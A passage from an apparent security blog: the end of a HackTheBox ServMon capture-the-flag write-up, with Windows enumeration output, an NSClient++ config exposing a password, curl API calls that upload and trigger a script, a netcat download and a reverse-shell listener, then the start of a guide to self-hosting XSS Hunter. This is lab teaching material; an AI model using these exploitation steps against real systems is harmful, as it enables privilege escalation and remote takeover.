@{Microsoft.Windows.ParentalControls_1000.18362.449.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windo...
@{Microsoft.Windows.ParentalControls_1000.18362.449.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windo...
@{Microsoft.Windows.PeopleExperienceHost_10.0.17763.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windo...
@{Microsoft.Windows.PeopleExperienceHost_10.0.17763.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windo...
@{Microsoft.Windows.PeopleExperienceHost_10.0.18362.449_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Win...
@{Microsoft.Windows.PeopleExperienceHost_10.0.18362.449_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Win...
@{Microsoft.Windows.Photos_2019.19081.22010.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Windows.Photos/Resources...
@{Microsoft.Windows.Photos_2019.19081.22010.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Windows.Photos/Resources...

... SNIP ...

Proximity sharing over TCP (TCP sharing-Out)                                                                        
Wi-Fi Direct Spooler Use (Out)                                                                                      
@FirewallAPI.dll,-80204                                                                                             
AllJoyn Router (TCP-Out)                                                                                            
AllJoyn Router (UDP-Out)                                                                                            
Cast to Device functionality (qWave-TCP-Out)                                                                        
Cast to Device functionality (qWave-UDP-Out)                                                                        
Connected Devices Platform - WiFi Direct Transport (TCP-Out)                                                        
Connected Devices Platform (TCP-Out)                                                                                
Connected Devices Platform (UDP-Out)                                                                                
Connected User Experiences and Telemetry                                                                            
Core Networking - DNS (UDP-Out)                                                                                     
Core Networking - Dynamic Host Configuration Protocol (DHCP-Out)                                                    
Core Networking - Dynamic Host Configuration Protocol for IPv6 (DHCPV6-Out)                                         
Core Networking - Group Policy (TCP-Out)                                                                            
Core Networking - IPHTTPS (TCP-Out)                                                                                 
Core Networking - Teredo (UDP-Out)                                                                                  
File and Printer Sharing (LLMNR-UDP-Out)                                                                            
FTP Server (FTP Traffic-Out)                                                                                        
FTP Server Secure (FTP SSL Traffic-Out)                                                                             
mDNS (UDP-Out)                                                                                                      
mDNS (UDP-Out)                                                                                                      
mDNS (UDP-Out)                                                                                                      
Network Discovery (LLMNR-UDP-Out)                                                                                   
Network Discovery (Pub WSD-Out)                                                                                     
Network Discovery (SSDP-Out)                                                                                        
Network Discovery (UPnPHost-Out)                                                                                    
Network Discovery (UPnP-Out)                                                                                        
Network Discovery (WSD Events-Out)                                                                                  
Network Discovery (WSD EventsSecure-Out)                                                                            
Network Discovery (WSD-Out)                                                                                         
Recommended Troubleshooting Client (HTTP/HTTPS Out)                                                                 
WFD ASP Coordination Protocol (UDP-Out)                                                                             
Wi-Fi Direct Scan Service Use (Out)                                                                                 
Windows Device Management Enrolment Service (TCP out)                                                               
Wireless Display (TCP-Out)                                                                                          
Wireless Display (UDP-Out)                                                                                          
Core Networking - Group Policy (NP-Out)                                                                             
Core Networking - Internet Group Management Protocol (IGMP-Out)                                                     
Core Networking - IPv6 (IPv6-Out)                                                                                   
Core Networking - Multicast Listener Done (ICMPv6-Out)                                                              
Core Networking - Multicast Listener Query (ICMPv6-Out)                                                             
Core Networking - Multicast Listener Report (ICMPv6-Out)                                                            
Core Networking - Multicast Listener Report v2 (ICMPv6-Out)                                                         
Core Networking - Neighbour Discovery Advertisement (ICMPv6-Out)                                                    
Core Networking - Neighbour Discovery Solicitation (ICMPv6-Out)                                                     
Core Networking - Packet Too Big (ICMPv6-Out)                                                                       
Core Networking - Parameter Problem (ICMPv6-Out)                                                                    
Core Networking - Router Advertisement (ICMPv6-Out)                                                                 
Core Networking - Router Solicitation (ICMPv6-Out)                                                                  
Core Networking - Time Exceeded (ICMPv6-Out)                                                                        
File and Printer Sharing (Echo Request - ICMPv4-Out)                                                                
File and Printer Sharing (Echo Request - ICMPv6-Out)                                                                
File and Printer Sharing (NB-Datagram-Out)                                                                          
File and Printer Sharing (NB-Name-Out)                                                                              
File and Printer Sharing (NB-Session-Out)                                                                           
File and Printer Sharing (SMB-Out)                                                                                  
Network Discovery (NB-Datagram-Out)                                                                                 
Network Discovery (NB-Name-Out)                                                                                     
WFD Driver-only (TCP-Out)                                                                                           
WFD Driver-only (UDP-Out)                                                                                           


-----------------------------------------------------------
 Hosts File Content
-----------------------------------------------------------

# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a &apos;#&apos; symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

# localhost name resolution is handled within DNS itself.
#	127.0.0.1       localhost
#	::1             localhost


-----------------------------------------------------------
 Processes
-----------------------------------------------------------

-----------------------------------------------------------
 Scheduled Tasks
-----------------------------------------------------------
Current System Time: 06/20/2020 04:03:44

TaskName    : \OneDrive Standalone Update Task-S-1-5-21-3877449121-2587550681-992675040-1002
Run As User : SERVMON\Nadine
Task To Run : %localappdata%\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe 

TaskName    : \Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319
Run As User : SYSTEM
Task To Run : COM handler

TaskName    : \Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319 64
Run As User : SYSTEM
Task To Run : COM handler

TaskName    : \Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319 64 Critical
Run As User : SYSTEM
Task To Run : COM handler

TaskName    : \Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319 Critical
Run As User : SYSTEM
Task To Run : COM handler

...SNIP ...

TaskName    : \Microsoft\Windows\Workplace Join\Recovery-Check
Run As User : INTERACTIVE
Task To Run : %SystemRoot%\System32\dsregcmd.exe /checkrecovery

TaskName    : \Microsoft\Windows\WwanSvc\NotificationTask
Run As User : INTERACTIVE
Task To Run : %SystemRoot%\System32\WiFiTask.exe wwan

TaskName    : \Microsoft\XblGameSave\XblGameSaveTask
Run As User : SYSTEM
Task To Run : %windir%\System32\XblGameSaveTask.exe standby




-----------------------------------------------------------
 Services
-----------------------------------------------------------


-----------------------------------------------------------
 Installed Programs
-----------------------------------------------------------

-----------------------------------------------------------
 Installed Patches
-----------------------------------------------------------

-----------------------------------------------------------
 Program Folders
-----------------------------------------------------------

C:\Program Files
-------------
Common Files                               
Internet Explorer                          
ModifiableWindowsApps                      
NSClient++                                 
Reference Assemblies                       
UNP                                        
VMware                                     
Windows Defender                           
Windows Defender Advanced Threat Protection
Windows Mail                               
Windows Multimedia Platform                
Windows NT                                 
Windows Photo Viewer                       
Windows Portable Devices                   
Windows Security                           
WindowsPowerShell                          


C:\Program Files (x86)
-------------------
Common Files                          
InstallShield Installation Information
Internet Explorer                     
Microsoft.NET                         
NVMS-1000                             
Reference Assemblies                  
Windows Defender                      
Windows Mail                          
Windows Multimedia Platform           
Windows NT                            
Windows Photo Viewer                  
Windows Portable Devices              
WindowsPowerShell                     



-----------------------------------------------------------
 Files with Full Control and Modify Access
-----------------------------------------------------------

C:\Users\Nadine\Desktop\user.txt
C:\Users\Nadine\out.txt         
C:\Users\Nadine\scan.txt        



Failed to read more files
-----------------------------------------------------------
 Folders with Full Control and Modify Access
-----------------------------------------------------------

Failed to read more folders

Failed to read more folders

Failed to read more folders

Failed to read more folders

-----------------------------------------------------------
 Mapped Drives
-----------------------------------------------------------
-----------------------------------------------------------
 Unquoted Service Paths
-----------------------------------------------------------

-----------------------------------------------------------
 Recent Documents
-----------------------------------------------------------

AutomaticDestinations
CustomDestinations   
The Internet.lnk     



-----------------------------------------------------------
 Potentially Interesting Files in Users Directory 
-----------------------------------------------------------
C:\Users\Nadine\Desktop\user.txt
C:\Users\Nadine\out.txt
C:\Users\Nadine\scan.txt

-----------------------------------------------------------
 10 Last Modified Files in C:\User
-----------------------------------------------------------
C:\Users\Nadine\Links
C:\Users\Nadine\Desktop
C:\Users\Nadine\Documents
C:\Users\Administrator
C:\Users\Public
C:\Users\Nathan
C:\Users\Nadine\Desktop\user.txt
C:\Users\Nadine\out.txt
C:\Users\Nadine
C:\Users\Nadine\scan.txt

-----------------------------------------------------------
 MUICache Files
-----------------------------------------------------------


-----------------------------------------------------------
 System Files with Passwords
-----------------------------------------------------------

-----------------------------------------------------------
 AlwaysInstalledElevated Registry Key
-----------------------------------------------------------

-----------------------------------------------------------
 Stored Credentials
-----------------------------------------------------------

Currently stored credentials:

* NONE *

-----------------------------------------------------------
 Checking for AutoAdminLogon 
-----------------------------------------------------------
The default username is Nathan 
The default password is  
The default domainname is SERVMON 
</code></pre><p>Anyway, while digging through the NSClient++ folder, I found some interesting files.</p><figure class="kg-card kg-image-card kg-width-full kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/nsclient.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>NSClient++ Folder contents</figcaption></figure><p>After investigating a few of the files (<em>boot.ini</em>, <em>changelog.txt</em>, <em>nsclient.log</em> content of <em>security/</em>, <em>scripts/</em>, and <em>crash-dumps</em>) I decided to look at the most likely culprit - <em><strong>nsclient.ini</strong></em>. I like looking at the most likely candidate last, so that I do a thorough investigating of all the content. If I check the most interesting file first and find something, it often leads me down rabbit holes and results in me tunneling on a single piece of information.</p><p>As expected, <em><strong>nsclient.ini </strong></em>has some interesting content:</p><figure class="kg-card kg-code-card"><pre><code class="language-Bash">$ nadine@SERVMON C:\Program Files\NSClient++&gt;type nsclient.ini
&#xB4;&#x2557;&#x2510;# If you want to fill this file with all available options run the following command:
#   nscp settings --generate --add-defaults --load-all
# If you want to activate a module and bring in all its options use:
#   nscp settings --activate-module &lt;MODULE NAME&gt; --add-defaults
# For details run: nscp settings --help


; in flight - TODO
[/settings/default]

; Undocumented key
password = ew2x6SsGTxjRwXOT

; Undocumented key
allowed hosts = 127.0.0.1


; in flight - TODO
[/settings/NRPE/server]

; Undocumented key
ssl options = no-sslv2,no-sslv3

; Undocumented key
verify mode = peer-cert

; Undocumented key
insecure = false


; in flight - TODO
[/modules]

; Undocumented key
CheckHelpers = disabled

; Undocumented key
CheckEventLog = disabled

; Undocumented key
CheckNSCP = disabled

; Undocumented key
CheckDisk = disabled

; Undocumented key
CheckSystem = disabled

; Undocumented key
WEBServer = enabled

; Undocumented key
NRPEServer = enabled

; CheckTaskSched - Check status of your scheduled jobs.
CheckTaskSched = enabled

; Scheduler - Use this to schedule check commands and jobs in conjunction with for instance passive
monitoring through NSCA
Scheduler = enabled

; CheckExternalScripts - Module used to execute external scripts
CheckExternalScripts = enabled


; Script wrappings - A list of templates for defining script commands. Enter any command line here a
nd they will be expanded by scripts placed under the wrapped scripts section. %SCRIPT% will be repla
ced by the actual script an %ARGS% will be replaced by any given arguments.
[/settings/external scripts/wrappings]

; Batch file - Command used for executing wrapped batch files
bat = scripts\\%SCRIPT% %ARGS%

; Visual basic script - Command line used for wrapped vbs scripts
vbs = cscript.exe //T:30 //NoLogo scripts\\lib\\wrapper.vbs %SCRIPT% %ARGS%

; POWERSHELL WRAPPING - Command line used for executing wrapped ps1 (powershell) scripts
ps1 = cmd /c echo If (-Not (Test-Path &quot;scripts\%SCRIPT%&quot;) ) { Write-Host &quot;UNKNOWN: Script `&quot;%SCRIPT%
`&quot; not found.&quot;; exit(3) }; scripts\%SCRIPT% $ARGS$; exit($lastexitcode) | powershell.exe /noprofile
-command -


; External scripts - A list of scripts available to run from the CheckExternalScripts module. Syntax
 is: `command=script arguments`
[/settings/external scripts/scripts]


; Schedules - Section for the Scheduler module.
[/settings/scheduler/schedules]

; Undocumented key
foobar = command = foobar


; External script settings - General settings for the external scripts module (CheckExternalScripts)
.
[/settings/external scripts]
allow arguments = true
</code></pre><figcaption>nsclient.ini</figcaption></figure><p>As we can see, there are two interesting pieces of information in here:</p><ol><li>The password: <em>ew2x6SsGTxjRwXOT</em></li><li>The fact that access is restricted to <em>127.0.0.1</em></li></ol><p>Of course, I still wanted to verify, so I tried to log in. Surprisingly enough, it did not work.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/localhost_only.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>Configfiles don&apos;t lie!</figcaption></figure><p>So, what&apos;s next? SSH Port Forwarding to the rescue! There are multiple ways to do it, but since I already had an SSH-connection, I decided to go with the <em><a href="https://www.sans.org/blog/using-the-ssh-konami-code-ssh-control-sequences/">Konami-code</a></em> approach. In short: On a new line, that has not had any content on it (<em>just press enter...</em>), type the following key combination, followed by hitting the &lt;ENTER&gt;-key: <strong>~C</strong> &#xA0;(Capital C is REQIRED!)</p><p>That should take you into the following prompt, where you can do SSH magic. Notice how the shell line changes. Also notice that in order to validate the command, another enter is required to pop back to a normal shell.</p><figure class="kg-card kg-image-card kg-width-full kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/ssh_forwarding.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>SSH Forwarding</figcaption></figure><p>What happened here is that Port 8443 on my local machine gets forwarded to 127.0.0.1:8443 on ServMon! If this is difficult to understand, check out <a href="https://www.youtube.com/watch?v=Pc4tzsn-ats&amp;t=2325">this video</a> by <a href="https://twitter.com/ippsec">@Ippsec</a>! The practical explanation of it is that 8443 on my machine is now the same as 8443 on ServMon.</p><p>If we access the page and try the password again now, using 127.0.0.1 as the host instead of 10.10.10.184, we can log in to the web interface. The credentials work, so we have verified they are valid!</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/logged_in-1.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>Success!</figcaption></figure><hr><p><strong>Exploiting NSClient++</strong></p><p>Unfortunately, this web interface is buggy beyond belief and any attempt I made to use it refused to work. Since I already had found a exploit during previous recon, I decided to check the content of both.</p><p> The privilege escalation vulnerability found in Searchsploit was a good match and definitely applied here. It was incredibly frustrating that the web interface didn&apos;t respond, as I knew how to exploit it, it just wouldn&apos;t let me. No problem though, to the API docs we go!</p><p>After lots of searching, reading, testing and guessing, I found two magic API calls! Developers - please use these API docs as a cautionary tale. I am sure the developers of NSClient++ tried their best, but the <em><a href="https://github.com/mickem/nscp-docs">documentation</a></em> is <strong>very</strong> difficult to understand.</p><p>Anyways, the two magic commands were:</p><pre><code class="language-bash"># Add new script / command - @run4.bat attaches data from the run4.bat file
$ curl -s -k -u admin -X PUT https://127.0.0.1:8443/api/v1/scripts/ext/scripts/run4.bat --data-binary @run4.bat


# Trigger script / command
$ curl -k -v -H &apos;password: ew2x6SsGTxjRwXOT&apos; &apos;https://127.0.0.1:8443/query/run4&apos;</code></pre><p>Execution of the above commands looked like this:</p><figure class="kg-card kg-image-card kg-width-full kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/add_run_cmd.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>Add new command. Note that you have to input the password!</figcaption></figure><figure class="kg-card kg-image-card kg-width-full kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/Execution.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>Executing the command</figcaption></figure><p>If you are wondering what to put in <em>run4.bat</em>, hold on! We&apos;ll get to that in a second. We have figured out how this works, now we need a reverse shell payload! I was stuck here for a while as well, due to limitations on the box.</p><p>AntiVirus triggered on normal payloads and PowerShell restricted execution of scripts, leading to all the simple solutions I normally use being blocked (Want to know how I found out? Check the upload-screenshots &#xA0;&#xAF;\_(&#x30C4;)_/&#xAF; ).</p><p> I considered using MSF Venom to avoid the AV, but figured since it is an easy box that is probably over-engineering things. I decided to try the simple solution of uploading a netcat executable to the box to check if it worked. If not, MSF Venom was waiting patiently for me.</p><p>Step 1: Find a netcat binary</p><figure class="kg-card kg-image-card kg-width-full kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/find_nc.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>Kali comes with netcat binaries by default &lt;3</figcaption></figure><p>Step 2: Upload binary to the box</p><figure class="kg-card kg-image-card kg-width-full kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/host_nc-1.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>Python server hosting the executable</figcaption></figure><figure class="kg-card kg-image-card kg-width-full kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/get_nc.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>Pulling the netcat binary down to the ServMon box</figcaption></figure><p>Time to create the command used for exploitation. I promise it is called <em>run4 </em>because I like the number 4 and not because it was the fifth iteration of payloads ! (<u>Real</u> programmers start from <strong>0 !!!</strong> ^-* )</p><p>This was my final payload. Seems easy but I ran into some issues on my way there. (For example, <em>why isn&apos;t my command running? </em>Turns out -c is <u>NOT</u> the correct flag for netcat...)</p><figure class="kg-card kg-image-card kg-width-full kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/run4.bat.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>Final iteration of payloads</figcaption></figure><p>I made sure to use unique command names for my exploitation in order to avoid issues, but I am not sure if this was necessary. At this point, I was too lazy to check, since the service frequently bugged out and shut down for 10-15 minutes at the time.</p><p>Anyway, set up the listener (<em>nc -lvnp 9008</em>), create another command/script and trigger it as indicated above. And OH YEAH - We got root!</p><figure class="kg-card kg-image-card kg-width-full kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/shell.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>Callback received</figcaption></figure><hr><p>All that is left is to grab the flag and submit it</p><figure class="kg-card kg-image-card kg-width-full kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/flag-1.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>Get the root flag</figcaption></figure><figure class="kg-card kg-image-card kg-width-full kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/Got_it-.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>Flag submitted</figcaption></figure><p></p><p>It was an easy and fun box, except the web interface at the end.</p><p>Thanks for reading - See you soon!</p><p>And as always, a bonus puppy picture to whoever makes it to the end! This time, it is a two for one special!</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/2020-04-10-22.03.24_smol.jpg" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>Hacker Shiba</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/2020-04-20-16.28.24_smol.jpg" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>Relax Shiba</figcaption></figure>]]></content:encoded></item><item><title><![CDATA[Installing XSS Hunter]]></title><description><![CDATA[As most of you likely already know, you can register and use xsshunter for free at https://xsshunter.com/.
As a quick recap, this is a tool mostly used for hunting blind XSS.
So why would you want to host your own instance? I will review why you should and how to do it in this technical guide.]]></description><link>https://www.robinlunde.com/blog/installing-xss-hunter/</link><guid isPermaLink="false">5ea91ad1429be25278c5555c</guid><category><![CDATA[Computer Securtiy]]></category><dc:creator><![CDATA[Robin Lunde]]></dc:creator><pubDate>Wed, 29 Apr 2020 09:51:12 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1537498425277-c283d32ef9db?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=2000&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: html--><h3 style="color: red;">UPDATE: NEW AND AMAZING THINGS HAVE HAPPENED:</h3><!--kg-card-end: html--><!--kg-card-begin: markdown--><img src="https://images.unsplash.com/photo-1537498425277-c283d32ef9db?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=2000&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" alt="Installing XSS Hunter"><p>A new version has been released using docker and updated UI, check it here:<br>
<a href="https://github.com/mandatoryprogrammer/xsshunter-express">Amazing new XSS Hunter</a></p>
<!--kg-card-end: markdown--><hr><!--kg-card-begin: markdown--><h1 id="why">Why?</h1>
<p>As most of you likely already know, you can register and use xsshunter for free at <a href="https://xsshunter.com/">https://xsshunter.com/</a>.<br>
As a quick recap, this is a tool mostly used for <strong>hunting blind XSS.</strong><br>
So why would you want to host your own instance?</p>
<ol>
<li>Full control. If something goes wrong, you can check and investigate.</li>
<li>Stability. You know if the service is up or not. You also decide when to stop running it. Imagine having hundreds of valid payloads ready to execute, then the maintainer takes it down. That would be unfortunate.</li>
<li>You control the data. Companies generally do not like reporters using 3rd party solutions since they cannot verify if data actually is removed or not</li>
</ol>
<p><strong>Bonus point</strong> - you get to learn how it works and how it is designed</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/04/3yqmb8-1-.jpg" class="kg-image" alt="Installing XSS Hunter" loading="lazy"><figcaption>Learning is great!</figcaption></figure><!--kg-card-begin: markdown--><h1 id="how">How?</h1>
<p>There is a link to a <a href="https://thehackerblog.com/xss-hunter-is-now-open-source-heres-how-to-set-it-up/">guide</a> available at the <a href="https://github.com/mandatoryprogrammer/xsshunter">XSS Hunter github page</a><br>
It is a great starting point, but it is quite dated. The same is true for the codebase, so in order to run on Ubuntu 18.04, I had to make various changes. I will walk you through how to get it working in this guide.</p>
<!--kg-card-end: markdown--><hr><!--kg-card-begin: markdown--><h2 id="initialsteps">Initial steps</h2>
<p>I will base this on the <a href="https://thehackerblog.com/xss-hunter-is-now-open-source-heres-how-to-set-it-up/">original guide</a>.<br>
I will also assume that you have a working server and some basic server management experience. I will still try to go quite in depth though. Please also feel free to ask questions!</p>
<p>What you need:</p>
<ul>
<li>A VPS or somewhere to host the service</li>
<li>A domain name (Can be bought many places. Here are some: <a href="https://www.godaddy.com/">1</a>, <a href="https://www.namecheap.com/">2</a>, <a href="https://www.hostinger.com/domain-checker">3</a>)</li>
<li>A wildcard certificate. Get one for the domain you bought by following <a href="https://medium.com/@saurabh6790/generate-wildcard-ssl-certificate-using-lets-encrypt-certbot-273e432794d7">this guide</a>. There is also official documentation <a href="https://community.letsencrypt.org/t/acme-v2-and-wildcard-certificate-support-is-live/55579">here</a></li>
</ul>
<!--kg-card-end: markdown--><hr><!--kg-card-begin: markdown--><h1 id="installingxsshunter">Installing XSS Hunter</h1>
<hr>
<h2 id="gettingamailgunaccount">Getting a mailgun account</h2>
<ol>
<li>Register a mailgun account <a href="https://signup.mailgun.com/">here</a> - Remeber to uncheck the box marked below!</li>
</ol>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/04/signup_edit.jpg" class="kg-image" alt="Installing XSS Hunter" loading="lazy"><figcaption>Remember to uncheck the marked box!</figcaption></figure><!--kg-card-begin: markdown--><ol start="2">
<li>Follow the instructions to verify your email address and phone number</li>
<li>Go to the <a href="https://app.mailgun.com/app/sending/domains"><em>sending tab</em></a> and click on your email domain</li>
</ol>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/04/mailgun.jpg" class="kg-image" alt="Installing XSS Hunter" loading="lazy"><figcaption>The aforementioned steps</figcaption></figure><!--kg-card-begin: markdown--><ol start="4">
<li>On the right hand side of the screen, add the email addresses that you want to receive alerts to. This is your actual email adress. For example: <em><a href="mailto:john.doe@gmail.com">john.doe@gmail.com</a></em></li>
<li>After having completed the above, click the <em>select</em> button within the square that says API.</li>
<li>Note down your API key and your email domain - you will need it soon!
<ul>
<li>The email domain is the final part of the <em>API base URL</em><br>
<strong>sandboxe678...</strong></li>
</ul>
</li>
</ol>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://www.robinlunde.com/blog/content/images/2020/04/API.jpg" class="kg-image" alt="Installing XSS Hunter" loading="lazy"></figure><!--kg-card-begin: markdown--><ol start="7">
<li>Go to your email inbox and open the email from mailgun</li>
<li>Verify the email address by clicking the link you receive from mailgun. (It will be sent to the address you specify, in the above example <em><a href="mailto:john.doe@gmail.com">john.doe@gmail.com</a></em>)</li>
</ol>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="confirmthatitworks">Confirm that it works</h3>
<p>Use the following command to send an email from your server, to check that the service is working.<br>
Replace the following:<br>
<mark>[API_KEY]</mark> : Your API key<br>
<mark>[API_BASE_URL]</mark> : Your API base URL<br>
<mark>[YOUR_EMAIL]</mark> : Your real email address. For example: <em><a href="mailto:john.doe@gmail.com">john.doe@gmail.com</a></em></p>
<!--kg-card-end: markdown--><figure class="kg-card kg-code-card"><pre><code class="language-BASH">curl -s --user &apos;api:[API_KEY]&apos; \
	https://api.mailgun.net/v3/[API_BASE_URL]/messages \
	-F from=&apos;Excited User &lt;mailgun@[API_BASE_URL]&gt;&apos; \
	-F to=[YOUR_EMAIL] \
	-F subject=&apos;Hello&apos; \
	-F text=&apos;Testing some Mailgun awesomeness!&apos;</code></pre><figcaption>Send test email using cURL</figcaption></figure><!--kg-card-begin: html--><br><!--kg-card-end: html--><!--kg-card-begin: markdown--><blockquote>
<p>Note of caution. The EU version of the service has a different URL. A quick google search or checking your mailgun account should show you what needs to be changed.</p>
</blockquote>
<p><br>
<strong>Check your email account to make sure you received an email like the below. If not, you need to do further troubleshooting before continuing</strong></p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/04/mail_received.png" class="kg-image" alt="Installing XSS Hunter" loading="lazy"><figcaption>Test email received successfully</figcaption></figure><hr><!--kg-card-begin: markdown--><h2 id="settingupdependencies">Setting up dependencies</h2>
<p>First, install the necessary packages</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-code-card"><pre><code class="language-bash"># install dependencies
sudo apt-get install nginx &amp;&amp; sudo apt-get install postgresql postgresql-contrib
</code></pre><figcaption>Install dependencies</figcaption></figure><!--kg-card-begin: markdown--><p><br>
Then, set up postgres user and database for XSS Hunter. Change <mark>EXAMPLE_PASSWORD</mark> with a secure password of your choosing. Please keep this for later! I recommend using a password manager!</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-code-card"><pre><code class="language-bash">sudo -i -u postgres
psql template1
CREATE USER xsshunter WITH PASSWORD &apos;EXAMPLE_PASSWORD&apos;;
CREATE DATABASE xsshunter;
\q
exit</code></pre><figcaption>Make postgres database and user</figcaption></figure><!--kg-card-begin: markdown--><h2 id="installtheservice">Install the service</h2>
<p>First, let&apos;s clone the repo:</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-code-card"><pre><code class="language-bash">git clone https://github.com/mandatoryprogrammer/xsshunter
cd xsshunter</code></pre><figcaption>Clone the git repo</figcaption></figure><!--kg-card-begin: markdown--><blockquote>
<p>Do note - Python2 is required! It does not support Python3</p>
</blockquote>
<p><br>
In order to get the configuration script running, we need to add an additional dependency.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-code-card"><pre><code class="language-bash"># install yaml support for python
sudo apt-get install pyyaml</code></pre><figcaption>Add support for yaml to python</figcaption></figure><!--kg-card-begin: markdown--><p><em>Credit to <a href="https://github.com/xYantix">xYantix</a> for giving a working solution in <a href="https://github.com/mandatoryprogrammer/xsshunter/pull/33">this pull-request</a></em></p>
<h2 id="configuretheservice">Configure the service</h2>
<p>OK, let us proceed. We are ready to run the configuring script!</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-code-card"><pre><code class="language-bash"># generate yaml config file
./generate_config.py</code></pre><figcaption>Run config generation script</figcaption></figure><!--kg-card-begin: markdown--><p>I will take you through it step by step. To see an example of the output, please see below. In the example output, I have added numbers for easy reference. Otherwise everything should look identical.</p>
<ol>
<li>Input your domain name. I have used <em>mydomain.com</em> as an example</li>
<li>Enter your Mailgun API key, which you found and saved earlier</li>
<li>Enter your Mailgun Domain Name, which you also wrote down earlier. (The one starting with <em>sandbox</em>)</li>
<li>I believe this could be <em>anything</em>@[Mailgun Domain Name], but I stuck with the default from mailgun here, as it does not really matter. I suggest going with: <em>mailgun</em>@[Mailgun Domain Name]. Remember to replace <mark>[Mailgun Domain Name]</mark> with your actual value</li>
<li>This is for people to report suspected abuse of the tool. This email should be one you already manage and have access to. For example: <em><a href="mailto:john.doe@gmail.com">john.doe@gmail.com</a></em></li>
<li>If you followed this guide, just input <em>xsshunter</em></li>
<li>Input the password you chose when you created the database. This is referenced as <mark>EXAMPLE_PASSWORD</mark> above. Please replace <mark>[YOUR_REALLY_SECURE_PASSWORD]</mark> with the value you chose for <mark>EXAMPLE_PASSWORD</mark></li>
<li>Same as in step 6, if you followed this guide, just input <em>xsshunter</em></li>
</ol>
<p>Woop, setup done!</p>
<blockquote>
<p>If you ever need to change these values, you can edit them directly in the <em>config.yaml</em> file</p>
</blockquote>
<!--kg-card-end: markdown--><figure class="kg-card kg-code-card"><pre><code class="language-bash">   
 __   __ _____ _____   _    _             _            
 \ \ / // ____/ ____| | |  | |           | |           
  \ V /| (___| (___   | |__| |_   _ _ __ | |_ ___ _ __ 
